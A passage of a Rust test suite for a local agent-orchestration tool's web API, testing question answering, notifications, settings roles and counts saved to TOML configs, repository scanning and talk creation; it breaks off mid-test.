12304 assert_eq!(res.json()["can_consult_chat"], false);
12305 assert_eq!(fx.post(&path, None).await.status, 409);
12306
12307 let mut talk = fx.talks().get(&talk.id).unwrap();
12308 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12309 let list = fx.get("/api/questions").await.json();
12310 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12311 assert_eq!(list[0]["origin_chat_closed"], true);
12312 assert_eq!(list[0]["can_consult_chat"], false);
12313
12314 fx.talks().remove(&talk.id).unwrap();
12315 let list = fx.get("/api/questions").await.json();
12316 assert_eq!(list[0]["origin_chat"], Value::Null);
12317 assert_eq!(list[0]["origin_chat_closed"], false);
12318 assert_eq!(list[0]["can_consult_chat"], false);
12319 }
12320
12321 #[tokio::test]
12322 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12323 let fx = Fixture::start().await;
12324 let store = fx.questions();
12325 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12326 store.beat(&id, ask::WaiterKind::Asker);
12327 assert_eq!(
12328 fx.get("/api/health").await.json()["questions_needs_owner"],
12329 1
12330 );
12331
12332 let res = fx
12338 .post(
12339 &format!("/api/questions/{id}/say"),
12340 Some(r#"{"body":"why not Postgres?"}"#),
12341 )
12342 .await;
12343 assert_eq!(res.status, 200, "{}", res.body);
12344 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12345 assert_eq!(
12346 fx.get("/api/health").await.json()["questions_needs_owner"],
12347 0,
12348 "waiting on the agent is not waiting on the owner"
12349 );
12350
12351 let mut q = store.get(&id).expect("get");
12355 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12356 .expect("reply");
12357 store.put(&mut q).expect("put");
12358 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12359 assert_eq!(
12360 fx.get("/api/health").await.json()["questions_needs_owner"],
12361 1,
12362 "the agent's reply is what should light the banner back up"
12363 );
12364 }
12365
12366 #[tokio::test]
12367 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12368 let fx = Fixture::start().await;
12369 let store = fx.questions();
12370
12371 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12372 let res = fx
12373 .post(
12374 &format!("/api/questions/{empty_id}/say"),
12375 Some(r#"{"body":" "}"#),
12376 )
12377 .await;
12378 assert_eq!(res.status, 400, "{}", res.body);
12379
12380 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12381 let mut answered = store.get(&answered_id).expect("get");
12382 answered
12383 .answer(Answer::Choice("SQLite".to_owned()))
12384 .expect("answer");
12385 store.put(&mut answered).expect("put");
12386 let res = fx
12387 .post(
12388 &format!("/api/questions/{answered_id}/say"),
12389 Some(r#"{"body":"still there?"}"#),
12390 )
12391 .await;
12392 assert_eq!(res.status, 409, "{}", res.body);
12393
12394 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12395 let mut abandoned = store.get(&abandoned_id).expect("get");
12396 abandoned.abandon("timed out");
12397 store.put(&mut abandoned).expect("put");
12398 let res = fx
12399 .post(
12400 &format!("/api/questions/{abandoned_id}/say"),
12401 Some(r#"{"body":"still there?"}"#),
12402 )
12403 .await;
12404 assert_eq!(res.status, 409, "{}", res.body);
12405 }
12406
12407 #[tokio::test]
12408 async fn an_answer_the_question_does_not_offer_is_refused() {
12409 let fx = Fixture::start().await;
12410 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12411 let path = format!("/api/questions/{id}/answer");
12412
12413 for body in [
12414 r#"{"choice":"Postgres"}"#,
12415 r#"{"text":"whatever you think"}"#,
12416 r#"{"choice":"Redis","text":"both"}"#,
12417 r#"{}"#,
12418 ] {
12419 let res = fx.post(&path, Some(body)).await;
12420 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12421 assert!(res.json()["error"].is_string(), "{}", res.body);
12422 }
12423 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12425 }
12426
12427 #[tokio::test]
12428 async fn a_free_text_question_takes_text_and_not_a_choice() {
12429 let fx = Fixture::start().await;
12430 let id = ask(&fx, "What should the flag be called?", &[]);
12431 fx.questions().beat(&id, ask::WaiterKind::Asker);
12432 let path = format!("/api/questions/{id}/answer");
12433
12434 assert_eq!(
12435 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12436 400
12437 );
12438 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12439 assert_eq!(res.status, 200, "{}", res.body);
12440 assert_eq!(res.json()["answer"]["text"], "--json");
12441 }
12442
12443 #[tokio::test]
12444 async fn an_unknown_question_is_a_json_404() {
12445 let fx = Fixture::start().await;
12446 let res = fx
12447 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12448 .await;
12449 assert_eq!(res.status, 404, "{}", res.body);
12450 assert!(res.json()["error"].is_string());
12451 }
12452
12453 #[tokio::test]
12454 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12455 let fx = Fixture::start().await;
12456 let questions = Questions::at(fx.home.path().join("questions"));
12457 let store = Notices::at(fx.home.path().join("notifications"));
12458 let mut q = ask::Question::new(
12459 "t1".into(),
12460 "conduct".into(),
12461 "conductor".into(),
12462 "Continue?".into(),
12463 String::new(),
12464 Vec::new(),
12465 );
12466 questions.put(&mut q).unwrap();
12467 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12468 n.covered_by = Some(q.id.clone());
12469 let n = store.raise(n).unwrap();
12470 let listed = fx.get("/api/notifications").await.json();
12471 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12472 questions
12473 .update(&q.id, |q| {
12474 q.abandon("run gone");
12475 Ok(())
12476 })
12477 .unwrap();
12478 let listed = fx.get("/api/notifications").await.json();
12479 assert!(listed["items"][0]["answerable_question"].is_null());
12480 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12481 assert!(
12482 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12483 .unwrap()
12484 .contains("answerable_question")
12485 );
12486 }
12487
12488 #[tokio::test]
12489 async fn notifications_list_read_dismiss_and_health_agree() {
12490 let fx = Fixture::start().await;
12491 let store = Notices::at(fx.home.path().join("notifications"));
12492 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12493 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12494
12495 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12496 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12497
12498 store
12499 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12500 .unwrap();
12501 let health = fx.get("/api/health").await.json();
12502 assert_eq!(health["notifications_unread"], 2);
12503 assert_ne!(
12504 health["notifications_rev"], rev0,
12505 "the badge must move live"
12506 );
12507
12508 let listed = fx.get("/api/notifications").await.json();
12509 assert_eq!(listed["unread"], 2);
12510 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12511 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12512
12513 let read = fx
12514 .post(&format!("/api/notifications/{}/read", a.id), None)
12515 .await;
12516 assert_eq!(read.status, 200, "{}", read.body);
12517 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12518
12519 let gone = fx
12520 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12521 .await;
12522 assert_eq!(gone.status, 200, "{}", gone.body);
12523 let listed = fx.get("/api/notifications").await.json();
12524 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12525 assert_eq!(listed["unread"], 0);
12526
12527 store.raise(Notice::info("x", "again")).unwrap();
12528 let all = fx.post("/api/notifications/read-all", None).await;
12529 assert_eq!(all.status, 200, "{}", all.body);
12530 assert_eq!(all.json()["marked"], 1);
12531 assert_eq!(
12532 fx.get("/api/health").await.json()["notifications_unread"],
12533 0
12534 );
12535
12536 let missing = fx.post("/api/notifications/nope/read", None).await;
12537 assert_eq!(missing.status, 404, "{}", missing.body);
12538 assert!(missing.json()["error"].is_string());
12539 }
12540
12541 #[tokio::test]
12548 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12549 let f = Fixture::start().await;
12550
12551 let res = f
12552 .post(
12553 "/api/queue",
12554 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12555 )
12556 .await;
12557
12558 assert_eq!(
12559 res.status, 405,
12560 "POST /api/queue must not be a route: {}",
12561 res.body
12562 );
12563 assert!(
12564 f.queue().list().is_empty(),
12565 "a task filed by a route that does not exist must not reach the disk"
12566 );
12567 assert_eq!(f.get("/api/queue").await.status, 200);
12570 }
12571
12572 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12574 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12575 .expect("checkout dir");
12576 }
12577
12578 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12580
12581 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12582 let tmp = TempDir::new().expect("tempdir");
12583 let repo = tmp.path().join("repo");
12584 std::fs::create_dir_all(&repo).expect("repo dir");
12585 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12586 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12587 if let Some(text) = machine_toml {
12588 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12589 std::fs::write(&machine, text).expect("machine toml");
12590 }
12591 (tmp, repo, machine)
12592 }
12593
12594 async fn settings_checkout(path: &FsPath, text: &str) {
12595 std::fs::create_dir_all(path).unwrap();
12596 std::fs::write(path.join("magi.toml"), text).unwrap();
12597 for args in [
12598 vec!["init", "-b", "main"],
12599 vec!["add", "magi.toml"],
12600 vec![
12601 "-c",
12602 "user.name=Test",
12603 "-c",
12604 "user.email=test@example.invalid",
12605 "commit",
12606 "-m",
12607 "fixture",
12608 ],
12609 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12610 vec![
12611 "symbolic-ref",
12612 "refs/remotes/origin/HEAD",
12613 "refs/remotes/origin/main",
12614 ],
12615 ] {
12616 crate::git::git(path, &args).await.unwrap();
12617 }
12618 }
12619
12620 #[tokio::test]
12621 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12622 let (tmp, repo, machine) =
12623 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12624 let root = tmp.path().join("roots");
12625 let selected = root.join("host/owner/selected");
12626 settings_checkout(
12627 &selected,
12628 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12629 )
12630 .await;
12631 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12632 let before = std::fs::read(&machine).unwrap();
12633 let ui = Arc::new(
12634 Ui::new(
12635 Queue::at(tmp.path().join("queue")),
12636 Questions::at(tmp.path().join("questions")),
12637 Talks::at(tmp.path().join("talks")),
12638 tmp.path().join("runs"),
12639 tmp.path().to_path_buf(),
12640 repo.clone(),
12641 )
12642 .with_machine_config(Some(machine.clone())),
12643 );
12644 let query = || {
12645 Query(SettingsQuery {
12646 repo: Some(selected.clone()),
12647 })
12648 };
12649 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12650 assert!(v.error.is_none(), "{:?}", v.error);
12651 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12652 assert_eq!(conductor.source, "repo");
12653 assert_eq!(
12654 conductor.machine_value,
12655 Some(toml::Value::String("a".into()))
12656 );
12657 assert!(!conductor.editable);
12658 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12659 assert_eq!(
12660 judges.count.as_ref().unwrap().machine_value,
12661 Some(toml::Value::Integer(1))
12662 );
12663 assert!(
12664 !v.roles
12665 .iter()
12666 .find(|r| r.key == "reviewers")
12667 .unwrap()
12668 .editable
12669 );
12670 let unknown = || {
12671 Query(SettingsQuery {
12672 repo: Some(tmp.path().to_path_buf()),
12673 })
12674 };
12675 assert_eq!(
12676 settings_get(State(ui.clone()), unknown())
12677 .await
12678 .unwrap_err()
12679 .status,
12680 StatusCode::UNPROCESSABLE_ENTITY
12681 );
12682 let body = || {
12683 Ok(Json(RolesBody {
12684 revision: v.revision.clone(),
12685 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12686 counts: Default::default(),
12687 }))
12688 };
12689 assert_eq!(
12690 settings_put_roles(State(ui.clone()), unknown(), body())
12691 .await
12692 .unwrap_err()
12693 .status,
12694 StatusCode::UNPROCESSABLE_ENTITY
12695 );
12696 assert_eq!(std::fs::read(&machine).unwrap(), before);
12697 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12698 .await
12699 .unwrap();
12700 assert_eq!(
12701 saved.repo,
12702 selected.canonicalize().unwrap().display().to_string()
12703 );
12704 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12705 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12706 let fresh = root.join("host/owner/fresh");
12708 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12709 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12710 .await
12711 .unwrap();
12712 assert_eq!(fresh_view.repositories.len(), 3);
12713 }
12714
12715 #[tokio::test]
12716 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12717 let (tmp, repo, machine) = settings_dirs(
12718 "[roles]\nreviewers = [\"a\"]\n",
12719 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12720 );
12721 let root = tmp.path().join("roots");
12722 let selected = root.join("host/owner/selected");
12723 settings_checkout(
12724 &selected,
12725 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12726 )
12727 .await;
12728 let broken = root.join("host/owner/broken");
12729 settings_checkout(&broken, "[roles\nbroken").await;
12730 let machine_text = format!(
12731 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12732 toml::Value::String(root.display().to_string())
12733 );
12734 std::fs::write(&machine, &machine_text).unwrap();
12735 let originals: Vec<_> = [&repo, &selected, &broken]
12736 .iter()
12737 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12738 .collect();
12739 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12740 let default = f.get("/api/settings").await.json();
12741 assert_eq!(
12742 default["repo"],
12743 repo.canonicalize().unwrap().display().to_string()
12744 );
12745 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12746 let query = format!("?repo={}", selected.display());
12747 let res = f.get(&format!("/api/settings{query}")).await;
12748 assert_eq!(res.status, 200, "{}", res.body);
12749 let v = res.json();
12750 assert!(v["error"].is_null(), "{v}");
12751 assert_eq!(v["repositories"], default["repositories"]);
12752 let role = |key: &str| {
12753 v["roles"]
12754 .as_array()
12755 .unwrap()
12756 .iter()
12757 .find(|r| r["key"] == key)
12758 .unwrap()
12759 };
12760 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12761 assert_eq!(role("advisors")["source"], "repo");
12762 assert_eq!(role("advisors")["editable"], false);
12763 assert!(role("advisors")["machine_value"].is_null());
12764 assert_eq!(role("judges")["count"]["value"], 2);
12765 assert_eq!(role("judges")["count"]["machine_value"], 1);
12766 assert_eq!(role("judges")["count"]["source"], "repo");
12767 let source = role("judges")["count"]["source_path"].as_str().unwrap();
12768 assert!(
12769 source.contains("origin/main") && !source.contains("magi/config/"),
12770 "{source}"
12771 );
12772 assert_eq!(
12773 role("reviewers")["editable"],
12774 false,
12775 "default context outside roots must protect its declarations"
12776 );
12777 let body =
12778 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12779 let unknown = format!("?repo={}", tmp.path().display());
12780 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12781 assert_eq!(
12782 f.put(&format!("/api/settings/roles{unknown}"), &body)
12783 .await
12784 .status,
12785 422
12786 );
12787 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12788 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12789 .to_string();
12790 assert_eq!(
12791 f.put(&format!("/api/settings/roles{query}"), &refuse)
12792 .await
12793 .status,
12794 422
12795 );
12796 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12797 assert_eq!(saved.status, 200, "{}", saved.body);
12798 assert_eq!(saved.json()["repo"], v["repo"]);
12799 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12800 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12801 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12802 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12803 }
12804 let error = f
12805 .get(&format!("/api/settings?repo={}", broken.display()))
12806 .await;
12807 assert_eq!(error.status, 200);
12808 assert!(error.json()["error"]["message"].is_string());
12809 assert_eq!(error.json()["repositories"], default["repositories"]);
12810 }
12811
12812 #[tokio::test]
12813 async fn settings_get_reports_sources_and_the_advisors_fallback() {
12814 let (_tmp, repo, machine) =
12815 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12816 let f = Fixture::with_repo_and_machine(repo, machine).await;
12817 let res = f.get("/api/settings").await;
12818 assert_eq!(res.status, 200, "{}", res.body);
12819 let v = res.json();
12820 assert!(v["error"].is_null(), "{v}");
12821 let role = |k: &str| {
12822 v["roles"]
12823 .as_array()
12824 .and_then(|r| r.iter().find(|x| x["key"] == k))
12825 .cloned()
12826 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12827 };
12828 assert_eq!(role("judges")["source"], "machine");
12829 assert_eq!(role("judges")["editable"], true);
12830 assert_eq!(role("implementers")["source"], "default");
12831 let adv = role("advisors");
12832 assert_eq!(adv["fallback"], "judges");
12833 assert!(
12834 adv["seats"]
12835 .as_array()
12836 .is_some_and(|s| s.iter().all(|x| x == "b")),
12837 "{adv}"
12838 );
12839 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12840 assert_eq!(v["agents"][0]["source"], "repo");
12841 }
12842
12843 #[tokio::test]
12844 async fn settings_get_reports_a_config_that_does_not_parse() {
12845 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12846 let f = Fixture::with_repo_and_machine(repo, machine).await;
12847 let res = f.get("/api/settings").await;
12848 assert_eq!(res.status, 200, "{}", res.body);
12849 let v = res.json();
12850 assert!(v["error"]["message"].is_string(), "{v}");
12851 assert!(
12852 v["error"]["path"]
12853 .as_str()
12854 .is_some_and(|p| p.ends_with("magi.toml")),
12855 "{v}"
12856 );
12857 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12858 }
12859
12860 #[tokio::test]
12861 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12862 let (_tmp, repo, machine) = settings_dirs(
12863 SETTINGS_AGENTS,
12864 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12865 );
12866 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12867 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12868 let rev = f.get("/api/settings").await.json()["revision"]
12869 .as_str()
12870 .expect("revision")
12871 .to_owned();
12872 let body = serde_json::json!({
12873 "revision": rev,
12874 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12875 })
12876 .to_string();
12877 let res = f.put("/api/settings/roles", &body).await;
12878 assert_eq!(res.status, 200, "{}", res.body);
12879 let text = std::fs::read_to_string(&machine).expect("machine");
12880 assert_eq!(
12881 text,
12882 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12883 );
12884 assert_eq!(
12885 std::fs::read(repo.join("magi.toml")).expect("read"),
12886 repo_before
12887 );
12888 let again = f.get("/api/settings").await.json();
12889 let judges = again["roles"]
12890 .as_array()
12891 .expect("roles")
12892 .iter()
12893 .find(|r| r["key"] == "judges")
12894 .expect("judges")
12895 .clone();
12896 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12897 let stale = f.put("/api/settings/roles", &body).await;
12899 assert_eq!(stale.status, 409, "{}", stale.body);
12900 }
12901
12902 #[tokio::test]
12903 async fn settings_counts_are_reported_and_saved() {
12904 let (_tmp, repo, machine) = settings_dirs(
12905 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12906 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12907 );
12908 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12909 let v = f.get("/api/settings").await.json();
12910 let count = |v: &serde_json::Value, k: &str| {
12911 v["roles"]
12912 .as_array()
12913 .and_then(|r| r.iter().find(|x| x["key"] == k))
12914 .map(|x| x["count"].clone())
12915 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12916 };
12917 let imp = count(&v, "implementers");
12918 assert_eq!(imp["value"], 2);
12919 assert_eq!(imp["source"], "machine");
12920 assert_eq!(imp["file_key"], "candidates");
12921 assert_eq!(imp["roster_len"], 2);
12922 assert_eq!(imp["backups"], 0);
12923 assert_eq!(count(&v, "judges")["source"], "default");
12924 assert_eq!(count(&v, "advisors")["min"], 0);
12925 assert_eq!(count(&v, "reviewers")["editable"], false);
12926 assert!(
12927 count(&v, "reviewers")["locked_reason"]
12928 .as_str()
12929 .is_some_and(|m| m.contains("graph.reviewers"))
12930 );
12931 assert!(count(&v, "fixer").is_null());
12932 let rev = v["revision"].as_str().expect("revision").to_owned();
12933 let body = serde_json::json!({
12934 "revision": rev,
12935 "roles": { "judges": ["b"] },
12936 "counts": { "implementers": 1, "advisors": 0 }
12937 })
12938 .to_string();
12939 let res = f.put("/api/settings/roles", &body).await;
12940 assert_eq!(res.status, 200, "{}", res.body);
12941 let text = std::fs::read_to_string(&machine).expect("machine");
12942 assert_eq!(
12943 text,
12944 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12945 );
12946 let after = f.get("/api/settings").await.json();
12947 assert_eq!(count(&after, "implementers")["value"], 1);
12948 assert_eq!(count(&after, "implementers")["backups"], 1);
12949 assert_eq!(count(&after, "advisors")["value"], 0);
12950 let before = std::fs::read_to_string(&machine).expect("machine");
12951 let rev = after["revision"].as_str().expect("revision").to_owned();
12952 for counts in [
12953 serde_json::json!({ "judges": 0 }),
12954 serde_json::json!({ "judges": "x" }),
12955 serde_json::json!({ "judges": 2.5 }),
12956 serde_json::json!({ "judges": -1 }),
12957 serde_json::json!({ "reviewers": 3 }),
12958 serde_json::json!({ "bogus": 3 }),
12959 ] {
12960 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12961 let res = f.put("/api/settings/roles", &body).await;
12962 assert_eq!(res.status, 422, "{counts}: {}", res.body);
12963 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12964 }
12965 }
12966
12967 #[tokio::test]
12968 async fn settings_put_refuses_without_touching_the_file() {
12969 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12970 let (_tmp, repo, machine) = settings_dirs(
12971 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12972 Some(machine_text),
12973 );
12974 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12975 let rev = f.get("/api/settings").await.json()["revision"]
12976 .as_str()
12977 .expect("revision")
12978 .to_owned();
12979 for roles in [
12980 serde_json::json!({ "judges": ["nope"] }),
12981 serde_json::json!({ "reviewers": ["b"] }),
12982 serde_json::json!({ "bogus": ["a"] }),
12983 ] {
12984 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12985 let res = f.put("/api/settings/roles", &body).await;
12986 assert_eq!(res.status, 422, "{roles}: {}", res.body);
12987 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12988 assert_eq!(
12989 std::fs::read_to_string(&machine).expect("machine"),
12990 machine_text
12991 );
12992 }
12993 }
12994
12995 #[tokio::test]
12996 async fn repos_list_returns_name_and_path_for_every_configured_root() {
12997 let tmp = TempDir::new().expect("tempdir");
12998 let repo = tmp.path().join("repo");
12999 std::fs::create_dir_all(&repo).expect("repo dir");
13000 let root = tmp.path().join("root");
13001 make_checkout(&root, "github.com", "yukimemi", "magi");
13002 std::fs::write(
13003 repo.join("magi.toml"),
13004 format!(
13005 "[repos]\nroots = [{:?}]\n",
13006 root.to_string_lossy().into_owned()
13007 ),
13008 )
13009 .expect("write magi.toml");
13010
13011 let f = Fixture::with_repo(repo).await;
13012 let res = f.get("/api/repos").await;
13013 assert_eq!(res.status, 200, "{}", res.body);
13014 let list = res.json();
13015 let repos = list.as_array().expect("an array");
13016 assert_eq!(repos.len(), 1);
13017 assert_eq!(repos[0]["name"], "yukimemi/magi");
13018 assert!(
13019 repos[0]["path"]
13020 .as_str()
13021 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13022 "{list}"
13023 );
13024 }
13025
13026 #[tokio::test]
13027 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13028 let tmp = TempDir::new().expect("tempdir");
13029 let repo = tmp.path().join("repo");
13030 std::fs::create_dir_all(&repo).expect("repo dir");
13031 let root = tmp.path().join("root");
13032 make_checkout(&root, "github.com", "yukimemi", "magi");
13033 std::fs::write(
13034 repo.join("magi.toml"),
13035 format!(
13036 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13037 root.to_string_lossy().into_owned()
13038 ),
13039 )
13040 .expect("write magi.toml");
13041
13042 let f = Fixture::with_repo(repo).await;
13043 let first = f.get("/api/repos").await;
13044 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13045
13046 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13049 let second = f.get("/api/repos").await;
13050 assert_eq!(
13051 second.json().as_array().map(Vec::len),
13052 Some(1),
13053 "a fresh cache must not rescan inside the TTL"
13054 );
13055
13056 let refreshed = f.get("/api/repos?refresh=1").await;
13057 assert_eq!(
13058 refreshed.json().as_array().map(Vec::len),
13059 Some(2),
13060 "an explicit refresh must rescan even inside the TTL"
13061 );
13062 }
13063
13064 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13070
13071 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13075 let tmp = TempDir::new().expect("tempdir");
13076 let repo = tmp.path().join("repo");
13077 std::fs::create_dir_all(&repo).expect("repo dir");
13078 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13079 let f = Fixture::with_repo(repo.clone()).await;
13080 (tmp, repo, f)
13081 }
13082
13083 #[tokio::test]
13084 async fn posting_a_talk_with_remembered_choices_is_soft() {
13085 let (_tmp, _repo, f) = talk_fixture().await;
13086
13087 let good = f
13088 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13089 .await;
13090 assert_eq!(good.status, 201, "{}", good.body);
13091 assert_eq!(good.json()["persona"], "rei");
13092
13093 let stale = f
13095 .post(
13096 "/api/talks",
13097 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13098 )
13099 .await;
13100 assert_eq!(stale.status, 201, "{}", stale.body);
13101 let v = stale.json();
13102 assert_eq!(v["implementers"], 1);
13103 assert_ne!(v["persona"], "nobody");
13104 let typed = f
13105 .post(
13106 "/api/talks",
13107 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13108 )
13109 .await;
13110 assert_eq!(typed.status, 201, "{}", typed.body);
13111
13112 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13114 assert!(
13115 !strict.status.to_string().starts_with('2'),
13116 "{}",
13117 strict.body
13118 );
13119 }
13120
13121 #[tokio::test]
13122 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13123 let (_tmp, _repo, f) = talk_fixture().await;
13124
13125 let opened = f.post("/api/talks", None).await;
13128 assert_eq!(opened.status, 201, "{}", opened.body);
13129 let body = opened.json();
13130 assert_eq!(body["status"], "open");
13131 assert_eq!(
13132 body["turns"].as_array().unwrap().len(),
13133 0,
13134 "opening takes no agent turn: there is nothing yet to answer"
13135 );
13136
13137 let also_opened = f.post("/api/talks", Some("{}")).await;
13139 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13140
13141 let listed = f.get("/api/talks").await.json();
13142 assert_eq!(listed.as_array().unwrap().len(), 2);
13143 }
13144
13145 #[tokio::test]
13146 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13147 let tmp = TempDir::new().expect("tempdir");
13148 let repo = tmp.path().join("repo");
13149 std::fs::create_dir_all(&repo).expect("repo dir");
13150 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13151 std::fs::write(
13152 repo.join("magi.toml"),
13153 format!("{MOCK_AGENT_TOML}\n{second}"),
13154 )
13155 .expect("write magi.toml");
13156 let home = TempDir::new().expect("temp home");
13157 let talks = Talks::at(home.path().join("talks"));
13158 let ui = Arc::new(
13159 Ui::new(
13160 Queue::at(home.path().join("queue")),
13161 Questions::at(home.path().join("questions")),
13162 talks.clone(),
13163 home.path().join("runs"),
13164 home.path().to_path_buf(),
13165 repo.clone(),
13166 )
13167 .with_worktrees_root(home.path().join("wt")),
13168 );
13169 let cfg = config_for(&repo).await.expect("discover config");
13170 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13171 let id = talk.id.clone();
13172 let call = |agent: &str| {
13173 talk_agent(
